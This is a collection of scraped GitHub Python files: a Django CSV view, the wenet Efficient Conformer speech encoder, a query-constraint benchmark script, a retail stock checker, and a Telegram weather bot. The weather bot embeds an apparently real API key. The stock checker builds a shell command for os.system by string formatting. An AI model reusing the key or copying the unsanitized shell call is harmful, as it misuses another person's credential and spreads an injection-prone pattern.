Instruction.load_table(SymbolTable(file_path))\n","repo_name":"AntJamGeo/hack-assembler","sub_path":"asmtools/instruction.py","file_name":"instruction.py","file_ext":"py","file_size_in_byte":5966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6012854973","text":"from django.shortcuts import render\nimport csv\n\n\ndef inflation_view(request):\n    template_name = 'inflation.html'\n    # чтение csv-файла и заполнение контекста\n    data = []\n    year = []\n    total = []\n    with open('inflation_russia.csv', newline='', encoding=\"utf-8\") as csv_file:\n        reader = csv.reader(csv_file, delimiter=';')\n        for row in reader:\n            data.append(row)\n    head = data.pop(0)\n    # for i in range(len(data)):\n    #     print(data[i][0])\n    for line in data:\n        year.append(line.pop(0))\n        total.append(line.pop(len(line)-1))\n\n    context = {'data': data, 'head': head, 'year': year, 'total': total }\n\n    return render(request, template_name,\n                  context)\n","repo_name":"maxtv1982/Python","sub_path":"dynamic-templates/task1/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37631582842","text":"from typing import Tuple, Optional, List, Union\n\nimport torch\nimport logging\nimport torch.nn.functional as F\n\nfrom wenet.transformer.positionwise_feed_forward import PositionwiseFeedForward\nfrom wenet.transformer.embedding import PositionalEncoding\nfrom wenet.transformer.embedding import RelPositionalEncoding\nfrom wenet.transformer.embedding import NoPositionalEncoding\nfrom wenet.transformer.subsampling import Conv2dSubsampling4\nfrom wenet.transformer.subsampling import Conv2dSubsampling6\nfrom wenet.transformer.subsampling import Conv2dSubsampling8\nfrom wenet.transformer.subsampling import LinearNoSubsampling\nfrom wenet.transformer.attention import MultiHeadedAttention\nfrom wenet.transformer.attention import RelPositionMultiHeadedAttention\nfrom wenet.transformer.encoder_layer import ConformerEncoderLayer\n\nfrom wenet.efficient_conformer.subsampling import Conv2dSubsampling2\nfrom wenet.efficient_conformer.convolution import ConvolutionModule\nfrom wenet.efficient_conformer.attention import GroupedRelPositionMultiHeadedAttention\nfrom wenet.efficient_conformer.encoder_layer import StrideConformerEncoderLayer\n\nfrom wenet.utils.common import get_activation\nfrom wenet.utils.mask import make_pad_mask\nfrom wenet.utils.mask import add_optional_chunk_mask\n\n\nclass EfficientConformerEncoder(torch.nn.Module):\n    \"\"\"Conformer encoder module.\"\"\"\n    def __init__(\n        self,\n        input_size: int,\n        output_size: int = 256,\n        attention_heads: int = 4,\n        linear_units: int = 2048,\n        num_blocks: int = 6,\n        dropout_rate: float = 0.1,\n        positional_dropout_rate: float = 0.1,\n        attention_dropout_rate: float = 0.0,\n        input_layer: str = \"conv2d\",\n        pos_enc_layer_type: str = \"rel_pos\",\n        normalize_before: bool = True,\n        static_chunk_size: int = 0,\n        use_dynamic_chunk: bool = False,\n        global_cmvn: torch.nn.Module = None,\n        use_dynamic_left_chunk: bool = False,\n        macaron_style: bool = True,\n        activation_type: str = \"swish\",\n        use_cnn_module: bool = True,\n        cnn_module_kernel: int = 15,\n        causal: bool = False,\n        cnn_module_norm: str = \"batch_norm\",\n        stride_layer_idx: Optional[Union[int, List[int]]] = 3,\n        stride: Optional[Union[int, List[int]]] = 2,\n        group_layer_idx: Optional[Union[int, List[int], tuple]] = (0, 1, 2, 3),\n        group_size: int = 3,\n        stride_kernel: bool = True,\n        **kwargs\n    ):\n        \"\"\"Construct Efficient Conformer Encoder\n\n        Args:\n            input_size to use_dynamic_chunk, see in BaseEncoder\n            macaron_style (bool): Whether to use macaron style for\n                positionwise layer.\n            activation_type (str): Encoder activation function type.\n            use_cnn_module (bool): Whether to use convolution module.\n            cnn_module_kernel (int): Kernel size of convolution module.\n            causal (bool): whether to use causal convolution or not.\n            stride_layer_idx (list): layer id with StrideConv, start from 0\n            stride (list): stride size of each StrideConv in efficient conformer\n            group_layer_idx (list): layer id with GroupedAttention, start from 0\n            group_size (int): group size of every GroupedAttention layer\n            stride_kernel (bool): default True. True: recompute cnn kernels with stride.\n        \"\"\"\n        super().__init__()\n        self._output_size = output_size\n\n        if pos_enc_layer_type == \"abs_pos\":\n            pos_enc_class = PositionalEncoding\n        elif pos_enc_layer_type == \"rel_pos\":\n            pos_enc_class = RelPositionalEncoding\n        elif pos_enc_layer_type == \"no_pos\":\n            pos_enc_class = NoPositionalEncoding\n        else:\n            raise ValueError(\"unknown pos_enc_layer: \" + pos_enc_layer_type)\n\n        if input_layer == \"linear\":\n            subsampling_class = LinearNoSubsampling\n        elif input_layer == \"conv2d2\":\n            subsampling_class = Conv2dSubsampling2\n        elif input_layer == \"conv2d\":\n            subsampling_class = Conv2dSubsampling4\n        elif input_layer == \"conv2d6\":\n            subsampling_class = Conv2dSubsampling6\n        elif input_layer == \"conv2d8\":\n            subsampling_class = Conv2dSubsampling8\n        else:\n            raise ValueError(\"unknown input_layer: \" + input_layer)\n\n        logging.info(f\"input_layer = {input_layer}, \"\n                     f\"subsampling_class = {subsampling_class}\")\n\n        self.global_cmvn = global_cmvn\n        self.embed = subsampling_class(\n            input_size,\n            output_size,\n            dropout_rate,\n            pos_enc_class(output_size, positional_dropout_rate),\n        )\n        self.input_layer = input_layer\n        self.normalize_before = normalize_before\n        self.after_norm = torch.nn.LayerNorm(output_size, eps=1e-5)\n        self.static_chunk_size = static_chunk_size\n        self.use_dynamic_chunk = use_dynamic_chunk\n        self.use_dynamic_left_chunk = use_dynamic_left_chunk\n\n        activation = get_activation(activation_type)\n        self.num_blocks = num_blocks\n        self.attention_heads = attention_heads\n        self.cnn_module_kernel = cnn_module_kernel\n        self.global_chunk_size = 0\n        self.chunk_feature_map = 0\n\n        # efficient conformer configs\n        self.stride_layer_idx = [stride_layer_idx] \\\n            if type(stride_layer_idx) == int else stride_layer_idx\n        self.stride = [stride] \\\n            if type(stride) == int else stride\n        self.group_layer_idx = [group_layer_idx] \\\n            if type(group_layer_idx) == int else group_layer_idx\n        self.grouped_size = group_size    # group size of every GroupedAttention layer\n\n        assert len(self.stride) == len(self.stride_layer_idx)\n        self.cnn_module_kernels = [cnn_module_kernel]  # kernel size of each StridedConv\n        for i in self.stride:\n            if stride_kernel:\n                self.cnn_module_kernels.append(self.cnn_module_kernels[-1] // i)\n            else:\n                self.cnn_module_kernels.append(self.cnn_module_kernels[-1])\n\n        logging.info(f\"stride_layer_idx= {self.stride_layer_idx}, \"\n                     f\"stride = {self.stride}, \"\n                     f\"cnn_module_kernel = {self.cnn_module_kernels}, \"\n                     f\"group_layer_idx = {self.group_layer_idx}, \"\n                     f\"grouped_size = {self.grouped_size}\")\n\n        # feed-forward module definition\n        positionwise_layer = PositionwiseFeedForward\n        positionwise_layer_args = (\n            output_size,\n            linear_units,\n            dropout_rate,\n            activation,\n        )\n        # convolution module definition\n        convolution_layer = ConvolutionModule\n\n        # encoder definition\n        index = 0\n        layers = []\n        for i in range(num_blocks):\n            # self-attention module definition\n            if i in self.group_layer_idx:\n                encoder_selfattn_layer = GroupedRelPositionMultiHeadedAttention\n                encoder_selfattn_layer_args = (\n                    attention_heads,\n                    output_size,\n                    attention_dropout_rate,\n                    self.grouped_size)\n            else:\n                if pos_enc_layer_type == \"no_pos\":\n                    encoder_selfattn_layer = MultiHeadedAttention\n                else:\n                    encoder_selfattn_layer = RelPositionMultiHeadedAttention\n                encoder_selfattn_layer_args = (\n                    attention_heads,\n                    output_size,\n                    attention_dropout_rate)\n\n            # conformer module definition\n            if i in self.stride_layer_idx:\n                # conformer block with downsampling\n                convolution_layer_args_stride = (\n                    output_size, self.cnn_module_kernels[index], activation,\n                    cnn_module_norm, causal, True, self.stride[index])\n                layers.append(StrideConformerEncoderLayer(\n                    output_size,\n                    encoder_selfattn_layer(*encoder_selfattn_layer_args),\n                    positionwise_layer(*positionwise_layer_args),\n                    positionwise_layer(\n                        *positionwise_layer_args) if macaron_style else None,\n                    convolution_layer(\n                        *convolution_layer_args_stride) if use_cnn_module else None,\n                    torch.nn.AvgPool1d(\n                        kernel_size=self.stride[index], stride=self.stride[index],\n                        padding=0, ceil_mode=True,\n                        count_include_pad=False),   # pointwise_conv_layer\n                    dropout_rate,\n                    normalize_before,\n                ))\n                index = index + 1\n            else:\n                # conformer block\n                convolution_layer_args_normal = (\n                    output_size, self.cnn_module_kernels[index], activation,\n                    cnn_module_norm, causal)\n                layers.append(ConformerEncoderLayer(\n                    output_size,\n                    encoder_selfattn_layer(*encoder_selfattn_layer_args),\n                    positionwise_layer(*positionwise_layer_args),\n                    positionwise_layer(\n                        *positionwise_layer_args) if macaron_style else None,\n                    convolution_layer(\n                        *convolution_layer_args_normal) if use_cnn_module else None,\n                    dropout_rate,\n                    normalize_before,\n                ))\n\n        self.encoders = torch.nn.ModuleList(layers)\n\n    def set_global_chunk_size(self, chunk_size):\n        \"\"\"Used in ONNX export.\n        \"\"\"\n        logging.info(f\"set global chunk size: {chunk_size}, default is 0.\")\n        self.global_chunk_size = chunk_size\n        if self.embed.subsampling_rate == 2:\n            self.chunk_feature_map = 2 * self.global_chunk_size + 1\n        elif self.embed.subsampling_rate == 6:\n            self.chunk_feature_map = 6 * self.global_chunk_size + 5\n        elif self.embed.subsampling_rate == 8:\n            self.chunk_feature_map = 8 * self.global_chunk_size + 7\n        else:\n            self.chunk_feature_map = 4 * self.global_chunk_size + 3\n\n    def output_size(self) -> int:\n        return self._output_size\n\n    def calculate_downsampling_factor(self, i: int) -> int:\n        factor = 1\n        for idx, stride_idx in enumerate(self.stride_layer_idx):\n            if i > stride_idx:\n                factor *= self.stride[idx]\n        return factor\n\n    def forward(self,\n                xs: torch.Tensor,\n                xs_lens: torch.Tensor,\n                decoding_chunk_size: int = 0,\n                num_decoding_left_chunks: int = -1,\n                ) -> Tuple[torch.Tensor, torch.Tensor]:\n        \"\"\"Embed positions in tensor.\n        Args:\n            xs: padded input tensor (B, T, D)\n            xs_lens: input length (B)\n            decoding_chunk_size: decoding chunk size for dynamic chunk\n                0: default for training, use random dynamic chunk.\n                <0: for decoding, use full chunk.\n                >0: for decoding, use fixed chunk size as set.\n            num_decoding_left_chunks: number of left chunks, this is for decoding,\n            the chunk size is decoding_chunk_size.\n                >=0: use num_decoding_left_chunks\n                <0: use all left chunks\n        Returns:\n            encoder output tensor xs, and subsampled masks\n            xs: padded output tensor (B, T' ~= T/subsample_rate, D)\n            masks: torch.Tensor batch padding mask after subsample\n                (B, 1, T' ~= T/subsample_rate)\n        \"\"\"\n        T = xs.size(1)\n        masks = ~make_pad_mask(xs_lens, T).unsqueeze(1)  # (B, 1, T)\n        if self.global_cmvn is not None:\n            xs = self.global_cmvn(xs)\n        xs, pos_emb, masks = self.embed(xs, masks)\n        mask_pad = masks  # (B, 1, T/subsample_rate)\n        chunk_masks = add_optional_chunk_mask(xs, masks,\n                                              self.use_dynamic_chunk,\n                                              self.use_dynamic_left_chunk,\n                                              decoding_chunk_size,\n                                              self.static_chunk_size,\n                                              num_decoding_left_chunks)\n        index = 0  # traverse stride\n        for i, layer in enumerate(self.encoders):\n            # layer return : x, mask, new_att_cache, new_cnn_cache\n            xs, chunk_masks, _, _ = layer(xs, chunk_masks, pos_emb, mask_pad)\n            if i in self.stride_layer_idx:\n                masks = masks[:, :, ::self.stride[index]]\n                chunk_masks = chunk_masks[:, ::self.stride[index],\n                                          ::self.stride[index]]\n                mask_pad = masks\n                pos_emb = pos_emb[:, ::self.stride[index], :]\n                index = index + 1\n\n        if self.normalize_before:\n            xs = self.after_norm(xs)\n        # Here we assume the mask is not changed in encoder layers, so just\n        # return the masks before encoder layers, and the masks will be used\n        # for cross attention with decoder later\n        return xs, masks\n\n    def forward_chunk(\n        self,\n        xs: torch.Tensor,\n        offset: int,\n        required_cache_size: int,\n        att_cache: torch.Tensor = torch.zeros(0, 0, 0, 0),\n        cnn_cache: torch.Tensor = torch.zeros(0, 0, 0, 0),\n        att_mask: torch.Tensor = torch.ones((0, 0, 0), dtype=torch.bool)\n    ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n        \"\"\" Forward just one chunk\n\n        Args:\n            xs (torch.Tensor): chunk input\n            offset (int): current offset in encoder output time stamp\n            required_cache_size (int): cache size required for next chunk\n                compuation\n                >=0: actual cache size\n                <0: means all history cache is required\n            att_cache (torch.Tensor): cache tensor for KEY & VALUE in\n                transformer/conformer attention, with shape\n                (elayers, head, cache_t1, d_k * 2), where\n                `head * d_k == hidden-dim` and\n                `cache_t1 == chunk_size * num_decoding_left_chunks`.\n            cnn_cache (torch.Tensor): cache tensor for cnn_module in conformer,\n                (elayers, b=1, hidden-dim, cache_t2), where\n                `cache_t2 == cnn.lorder - 1`\n            att_mask : mask matrix of self attention\n\n        Returns:\n            torch.Tensor: output of current input xs\n            torch.Tensor: subsampling cache required for next chunk computation\n            List[torch.Tensor]: encoder layers output cache required for next\n                chunk computation\n            List[torch.Tensor]: conformer cnn cache\n\n        \"\"\"\n        assert xs.size(0) == 1\n\n        # using downsampling factor to recover offset\n        offset *= self.calculate_downsampling_factor(self.num_blocks + 1)\n\n        chunk_masks = torch.ones(1,\n                                 xs.size(1),\n                                 device=xs.device,\n                                 dtype=torch.bool)\n        chunk_masks = chunk_masks.unsqueeze(1)  # (1, 1, xs-time)\n\n        real_len = 0\n        if self.global_chunk_size > 0:\n            # for ONNX decode simulation， padding xs to chunk_size\n            real_len = xs.size(1)\n            pad_len = self.chunk_feature_map - real_len\n            xs = F.pad(xs, (0, 0, 0, pad_len), value=0.0)\n            chunk_masks = F.pad(chunk_masks, (0, pad_len), value=0.0)\n\n        if self.global_cmvn is not None:\n            xs = self.global_cmvn(xs)\n\n        # NOTE(xcsong): Before embed, shape(xs) is (b=1, time, mel-dim)\n        xs, pos_emb, chunk_masks = self.embed(xs, chunk_masks, offset)\n        elayers, cache_t1 = att_cache.size(0), att_cache.size(2)\n        chunk_size = xs.size(1)\n        attention_key_size = cache_t1 + chunk_size\n        # NOTE(xcsong): After  embed, shape(xs) is (b=1, chunk_size, hidden-dim)\n        # shape(pos_emb) = (b=1, chunk_size, emb_size=output_size=hidden-dim)\n\n        if required_cache_size < 0:\n            next_cache_start = 0\n        elif required_cache_size == 0:\n            next_cache_start = attention_key_size\n        else:\n            next_cache_start = max(attention_key_size - required_cache_size, 0)\n\n        r_att_cache = []\n        r_cnn_cache = []\n        mask_pad = torch.ones(1,\n                              xs.size(1),\n                              device=xs.device,\n                              dtype=torch.bool)\n        mask_pad = mask_pad.unsqueeze(1)    # batchPad (b=1, 1, time=chunk_size)\n\n        if self.global_chunk_size > 0:\n            # for ONNX decode simulation\n            pos_emb = self.embed.position_encoding(\n                offset=max(offset - cache_t1, 0),\n                size=cache_t1 + self.global_chunk_size)\n            att_mask[:, :, -self.global_chunk_size:] = chunk_masks\n            mask_pad = chunk_masks.to(torch.bool)\n        else:\n            pos_emb = self.embed.position_encoding(\n                offset=offset - cache_t1, size=attention_key_size)\n\n        max_att_len, max_cnn_len = 0, 0     # for repeat_interleave of new_att_cache\n        for i, layer in enumerate(self.encoders):\n            factor = self.calculate_downsampling_factor(i)\n            # NOTE(xcsong): Before layer.forward\n            #   shape(att_cache[i:i + 1]) is (1, head, cache_t1, d_k * 2),\n            #   shape(cnn_cache[i])       is (b=1, hidden-dim, cache_t2)\n            # shape(new_att_cache) = [ batch, head, time2, outdim//head * 2 ]\n            att_cache_trunc = 0\n            if xs.size(1) + att_cache.size(2) / factor > pos_emb.size(1):\n                # The time step is not divisible by the downsampling multiple\n                att_cache_trunc = xs.size(1) + \\\n                    att_cache.size(2) // factor - pos_emb.size(1) + 1\n            xs, _, new_att_cache, new_cnn_cache = layer(\n                xs, att_mask, pos_emb,\n                mask_pad=mask_pad,\n                att_cache=att_cache[i:i + 1, :, ::factor, :][:, :, att_cache_trunc:, :],\n                cnn_cache=cnn_cache[i, :, :, :]\n                if cnn_cache.size(0) > 0 else cnn_cache\n            )\n\n            if i in self.stride_layer_idx:\n                # compute time dimension for next block\n                efficient_index = self.stride_layer_idx.index(i)\n                att_mask = att_mask[:, ::self.stride[efficient_index],\n                                    ::self.stride[efficient_index]]\n                mask_pad = mask_pad[:, ::self.stride[efficient_index],\n                                    ::self.stride[efficient_index]]\n                pos_emb = pos_emb[:, ::self.stride[efficient_index], :]\n\n            # shape(new_att_cache) = [batch, head, time2, outdim]\n            new_att_cache = new_att_cache[:, :, next_cache_start // factor:, :]\n            # shape(new_cnn_cache) = [1, batch, outdim, cache_t2]\n            new_cnn_cache = new_cnn_cache.unsqueeze(0)\n\n            # use repeat_interleave to new_att_cache\n            new_att_cache = new_att_cache.repeat_interleave(repeats=factor, dim=2)\n            # padding new_cnn_cache to cnn.lorder for casual convolution\n            new_cnn_cache = F.pad(\n                new_cnn_cache,\n                (self.cnn_module_kernel - 1 - new_cnn_cache.size(3), 0))\n\n            if i == 0:\n                # record length for the first block as max length\n                max_att_len = new_att_cache.size(2)\n                max_cnn_len = new_cnn_cache.size(3)\n\n            # update real shape of att_cache and cnn_cache\n            r_att_cache.append(new_att_cache[:, :, -max_att_len:, :])\n            r_cnn_cache.append(new_cnn_cache[:, :, :, -max_cnn_len:])\n\n        if self.normalize_before:\n            xs = self.after_norm(xs)\n\n        # NOTE(xcsong): shape(r_att_cache) is (elayers, head, ?, d_k * 2),\n        #   ? may be larger than cache_t1, it depends on required_cache_size\n        r_att_cache = torch.cat(r_att_cache, dim=0)\n        # NOTE(xcsong): shape(r_cnn_cache) is (e, b=1, hidden-dim, cache_t2)\n        r_cnn_cache = torch.cat(r_cnn_cache, dim=0)\n\n        if self.global_chunk_size > 0 and real_len:\n            chunk_real_len = real_len // self.embed.subsampling_rate // \\\n                self.calculate_downsampling_factor(self.num_blocks + 1)\n            # Keeping 1 more timestep can mitigate information leakage\n            #   from the encoder caused by the padding\n            xs = xs[:, :chunk_real_len + 1, :]\n\n        return xs, r_att_cache, r_cnn_cache\n\n    def forward_chunk_by_chunk(\n        self,\n        xs: torch.Tensor,\n        decoding_chunk_size: int,\n        num_decoding_left_chunks: int = -1,\n        use_onnx=False\n    ) -> Tuple[torch.Tensor, torch.Tensor]:\n        \"\"\" Forward input chunk by chunk with chunk_size like a streaming\n            fashion\n\n        Here we should pay special attention to computation cache in the\n        streaming style forward chunk by chunk. Three things should be taken\n        into account for computation in the current network:\n            1. transformer/conformer encoder layers output cache\n            2. convolution in conformer\n            3. convolution in subsampling\n\n        However, we don't implement subsampling cache for:\n            1. We can control subsampling module to output the right result by\n               overlapping input instead of cache left context, even though it\n               wastes some computation, but subsampling only takes a very\n               small fraction of computation in the whole model.\n            2. Typically, there are several covolution layers with subsampling\n               in subsampling module, it is tricky and complicated to do cache\n               with different convolution layers with different subsampling\n               rate.\n            3. Currently, nn.Sequential is used to stack all the convolution\n               layers in subsampling, we need to rewrite it to make it work\n               with cache, which is not prefered.\n        Args:\n            xs (torch.Tensor): (1, max_len, dim)\n            decoding_chunk_size (int): decoding chunk size\n            num_decoding_left_chunks (int):\n            use_onnx (bool): True for simulating ONNX model inference.\n        \"\"\"\n        assert decoding_chunk_size > 0\n        # The model is trained by static or dynamic chunk\n        assert self.static_chunk_size > 0 or self.use_dynamic_chunk\n        subsampling = self.embed.subsampling_rate\n        context = self.embed.right_context + 1  # Add current frame\n        stride = subsampling * decoding_chunk_size\n        decoding_window = (decoding_chunk_size - 1) * subsampling + context\n        num_frames = xs.size(1)\n\n        outputs = []\n        offset = 0\n        required_cache_size = decoding_chunk_size * num_decoding_left_chunks\n        if use_onnx:\n            logging.info(\"Simulating for ONNX runtime ...\")\n            att_cache: torch.Tensor = torch.zeros(\n                (self.num_blocks, self.attention_heads, required_cache_size,\n                 self.output_size() // self.attention_heads * 2),\n                device=xs.device)\n            cnn_cache: torch.Tensor = torch.zeros(\n                (self.num_blocks, 1, self.output_size(), self.cnn_module_kernel - 1),\n                device=xs.device)\n            self.set_global_chunk_size(chunk_size=decoding_chunk_size)\n        else:\n            logging.info(\"Simulating for JIT runtime ...\")\n            att_cache: torch.Tensor = torch.zeros((0, 0, 0, 0), device=xs.device)\n            cnn_cache: torch.Tensor = torch.zeros((0, 0, 0, 0), device=xs.device)\n\n        # Feed forward overlap input step by step\n        for cur in range(0, num_frames - context + 1, stride):\n            end = min(cur + decoding_window, num_frames)\n            logging.info(f\"-->> frame chunk msg: cur={cur}, \"\n                         f\"end={end}, num_frames={end-cur}, \"\n                         f\"decoding_window={decoding_window}\")\n            if use_onnx:\n                att_mask: torch.Tensor = torch.ones(\n                    (1, 1, required_cache_size + decoding_chunk_size),\n                    dtype=torch.bool, device=xs.device)\n                if cur == 0:\n                    att_mask[:, :, :required_cache_size] = 0\n            else:\n                att_mask: torch.Tensor = torch.ones(\n                    (0, 0, 0), dtype=torch.bool, device=xs.device)\n\n            chunk_xs = xs[:, cur:end, :]\n            (y, att_cache, cnn_cache) = \\\n                self.forward_chunk(\n                    chunk_xs, offset, required_cache_size,\n                    att_cache, cnn_cache, att_mask)\n            outputs.append(y)\n            offset += y.size(1)\n\n        ys = torch.cat(outputs, 1)\n        masks = torch.ones(1, 1, ys.size(1), device=ys.device, dtype=torch.bool)\n        return ys, masks\n","repo_name":"wenet-e2e/wenet","sub_path":"wenet/efficient_conformer/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":25005,"program_lang":"python","lang":"en","doc_type":"code","stars":3402,"dataset":"github-code","pt":"16"}
+{"seq_id":"26386083671","text":"import argparse\nimport traceback\nfrom loader import read_queries, read_constraints\nfrom config import FileType, get_path, CONNECT_MAP\nfrom extract_rule import ExtractQueryRule\nfrom utils import GlobalExpRecorder, get_valid_queries\nfrom constraint import InclusionConstraint, LengthConstraint, FormatConstraint\n\nname_to_type = {\n    'inclusion': InclusionConstraint,\n    'length': LengthConstraint,\n    'format': FormatConstraint,\n}\n# =====================================================================\n\n\n# ========================== main function ============================\ndef main() -> None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--app', default='redmine')\n    parser.add_argument('--cnt', type=int, default=100000, help='number of queries to rewrite')\n    parser.add_argument(\"--data_dir\", type=str, help=\"data root dir\", default='data')\n    args = parser.parse_args()\n    \n    recorder = GlobalExpRecorder()\n    recorder.record(\"app_name\", args.app)\n    \n    # load query once for each app\n    offset = 0\n    queries = read_queries(get_path(FileType.RAW_QUERY, args.app, args.data_dir), offset, args.cnt)\n    # queries = get_valid_queries(queries, CONNECT_MAP[args.app])\n    \n    # count the number of queries with constraints on it\n    all_cs = load_cs(args.app, args.data_dir, 'all')\n    all_cnt, warning_cnt = count_queries_with_cs(all_cs, queries, verbal=True)\n    recorder.record(\"queries_with_cs\", all_cnt)\n    recorder.record(\"warning cnt\", warning_cnt)\n\n    # count inclusion, length, format constraint query\n    for type_name in name_to_type.keys():\n        cs_type = name_to_type[type_name]\n        filtered_cs = load_cs(args.app, args.data_dir, cs_type)\n        cnt, _ = count_queries_with_cs(filtered_cs, queries, verbal=True)\n        recorder.record(type_name, cnt)\n    recorder.dump(get_path(FileType.BENCH_STR2INT_NUM, args.app, args.data_dir))\n\n#################################\n#        helper functions       #\n#################################\n# return filtered constraints\ndef load_cs(appname, datadir, cs_type) -> list:\n    constraints = read_constraints(get_path(FileType.CONSTRAINT, appname, datadir), include_all=True)\n    if cs_type == 'all':\n        return constraints\n    filtered_cs = [c for c in constraints if isinstance(c, cs_type)]\n    return filtered_cs\n\n# return number of queries contains filtered constraints\ndef count_queries_with_cs(filtered_cs, queries, verbal) -> tuple:\n    cnt = 0\n    rule = ExtractQueryRule(filtered_cs)\n    for q in queries:\n        try:\n            rewrite_q = rule.apply(q.q_obj)\n            if extracted(rewrite_q):\n                # print(format(rewrite_q[0]))\n                cnt += 1\n        except (KeyError, TypeError, AttributeError, ValueError):\n            print_error(q, verbal)\n    return (cnt, rule.warning_cnt)\n\n# return True if query contains inclusion constrains\ndef extracted(q) -> bool:\n    # rewrite_q is a list of queries from the rewrite rules\n    return len(q) >= 1\n\n# print info about errored query\ndef print_error(q, verbal) -> None:\n    if verbal:\n        print(q.q_raw)\n        print(\"----------------\")\n        print(traceback.format_exc())\n        print(\"================\")\n    else:\n        pass\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"LiuXiaoxuanPKU/Coco","sub_path":"rewriter/src/bench_str2int_num.py","file_name":"bench_str2int_num.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"27630117115","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nimport os\n\ndef get_page_html(url):\n    headers = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\"}\n    page = requests.get(url, headers=headers)\n    return page.content\n\n\ndef check_item_in_stock(page_html, phone, text_to_send, value_sku_item):\n    soup = BeautifulSoup(page_html, 'html.parser')\n\n    stock_L = soup.find(value=value_sku_item)\n\n    if stock_L['data-inventory-status'] == 'Available':\n        print(\"In stock!\")\n        os.system(\"osascript imessage.scpt %s '%s' \" % (phone, text_to_send))\n    elif stock_L['data-inventory-status'] == 'Unavailable':\n        print(\"OOS\")\n    else:\n        print(\"Issue in program\")\n\n\ndef main ():\n    phone = XXXX\n    #Find sku in the source page\n    value_sku_item = \"XXXX\"\n    text_to_send = 'message to send'\n    url = \"https://www.abercrombie.com/shop/us/XXX\"\n    page_html = get_page_html(url)\n\n    while True:\n        check_item_in_stock(page_html, phone, text_to_send, value_sku_item)\n        time.sleep(600)\n\nif __name__ == '__main__':\n    main()","repo_name":"egiacomin/inventory_check_stock","sub_path":"check_stock.py","file_name":"check_stock.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22923520950","text":"from aiogram import types\r\nfrom aiogram.dispatcher import FSMContext\r\nfrom aiogram.dispatcher.filters import Command\r\nfrom keyboards.default.keyboards import markup,back\r\nfrom loader import dp\r\n\r\nfrom states.search import search\r\n\r\nimport requests\r\n\r\n@dp.message_handler(text=\"ℹ️ About\")\r\nasync def answer(message: types.Message, state: FSMContext):\r\n    await message.answer(\"Ushbu bot butun dunyodagi eng so'ngi ob havo ma'lumotlarini ko'rsatib beradi\")\r\n@dp.message_handler(text=\"🔍Izlash\")\r\nasync def answer(message: types.Message, state: FSMContext):\r\n    await search.search.set()\r\n    await message.answer(\"\"\"Marhamat qilib Davlat yoki shahar nomini kiriting\r\nMisol uchun: \"O'zbekiston\" yoki \"Toshkent\"\r\nEslatib o'tamiz biz bilan butun\r\ndunyo ob-havo ma'lumotlarini topishingiz mumkin\"\"\",reply_markup=back)\r\n\r\n@dp.message_handler(state=search.search)\r\nasync def qidiruv(message: types.Message, state: FSMContext):\r\n    if message.text== \"Qidiruv bo'limidan chiqish\":\r\n        await state.finish()\r\n        await message.answer('Siz asosiy menudasiz',reply_markup=markup)  \r\n\r\n    else:\r\n        try:\r\n            if message.text== \"Qidiruv bo'limidan chiqish\":\r\n                await state.finish()\r\n                await message.answer('Siz asosiy menudasiz',reply_markup=markup)\r\n            API = 'f441cb7b77702bb2d9648180922cae59'\r\n            CITY = message.text\r\n            URL = f'https://api.openweathermap.org/data/2.5/weather?q={CITY}&units=metric&appid={API}'\r\n            response = requests.get(url=URL).json()\r\n            city_info = {\r\n                'city': CITY,\r\n               'temp': response['main']['temp'],\r\n                'humidity': response['main']['humidity'],\r\n                'weather': response['weather'][0]['main'],\r\n                'wind': response['wind']['speed'],\r\n                'pressure': response['main']['pressure'],\r\n            }\r\n            h={'Clear':'ochiq',\r\n            \"Clouds\":\"bulutli\",\r\n            \"Snow\":\"qorli\",\r\n            \"Mist\":\"tumanli\",\r\n            \"Smoke\":'tutunli',\r\n            \"Haze\":\"tumanli\",\r\n            \"Dust\":\"havo changli\",\r\n            \"Fog\":\"quyuq tuman mavjud\",\r\n            \"Sand\":\"yuqori darajada changlangan\",\r\n            \"Ash\":\"havo tarkibida kul miqdori ko'p\",\r\n            \"Squall\":\"yomg'irli\",\r\n            \"Tornado\":\"Bo'ron bo'lmoqda\",\r\n            \"Rain\":\"yomg'irli\",\r\n            \"Drizzle\":\"yomg'irli\",\r\n            \"Thunderstorm\":\"chaqmoq va momaqaldiroq mavjud\"\r\n            }\r\n            msg = f\"\"\"<b><u>{CITY.upper()}</u>\r\n\r\nOb-havo:{h[city_info['weather']]} </b>\r\n------------------------------------\r\n🌡 Harorat: <b>{city_info['temp']} C</b>\r\n💨 Shamol: <b>{city_info['wind']} m/s</b>\r\n💦 Namlik: <b>{city_info['humidity']} %</b>\r\n🧬 Bosim: <b>{city_info['pressure']} hPa</b>\"\"\"\r\n            await message.answer(msg, parse_mode='html',reply_markup=back)\r\n\r\n        except Exception as e:\r\n            msg1 = f\"Ushbu davlat haqida ma'lumotlar mavjud emas\"\r\n            await message.answer(msg1, parse_mode='html',reply_markup=back)","repo_name":"Akaikumogo/Ob_havo_bot","sub_path":"handlers/users/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
